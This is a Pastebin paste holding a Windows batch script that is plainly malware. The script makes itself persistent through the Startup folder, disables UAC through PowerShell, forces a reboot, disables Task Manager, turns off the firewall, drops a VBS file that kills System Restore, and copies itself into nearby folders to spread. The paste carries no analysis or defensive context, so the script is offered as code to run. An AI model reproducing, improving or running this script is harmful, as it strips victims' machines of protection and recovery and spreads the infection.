Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @echo off & setlocal enableDelayedExpansion
- :: get OS
- for /f "tokens=4-5 delims=. " %%i in ('ver') do set VERSION=%%i.%%j
- if "%version%" == "6.3" set "osv=8.1"
- if "%version%" == "6.2" set "osv=8"
- if "%version%" == "6.1" set "osv=7"
- if "%version%" == "6.0" set "osv=Vista"
- if "%version%" == "10.0" set "osv=10"
- :: copy script to start up
- copy /y "%~F0" "%programData%\Microsoft\Windows\Start Menu\Programs\StartUp" >nul
- :: use powershell to disable UAC
- PowerShell ^
- New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force ^
- %End PowerShell%
- :: reboot PC
- shutdown /r >nul
- :: disable taskmanager
- Set "hklm=HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System"
- reg add "%hklm%" /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
- :: disable firewall
- Netsh Firewall Set Opmode Disable
- :: disable system restore
- @echo Shell.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR","1","REG_DWORD">%temp%\rstrui_kill.vbs
- @echo Shell.regwrite "HKLM\SYSTEM\CurrentControlSet\Services\sr","4","REG_DWORD" >>%temp%\rstrui_kill.vbs
- start %temp%\rstrui_kill.vbs
- :: spread
- set currentDirectory=%CD%
- FOR /D %%g IN ("*") DO (
- Pushd %CD%\%%g
- FOR /D %%f IN ("*") DO (
- copy /Y "%currentDirectory%\%~n0.bat" "%%~ff"
- )
- Popd
- )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement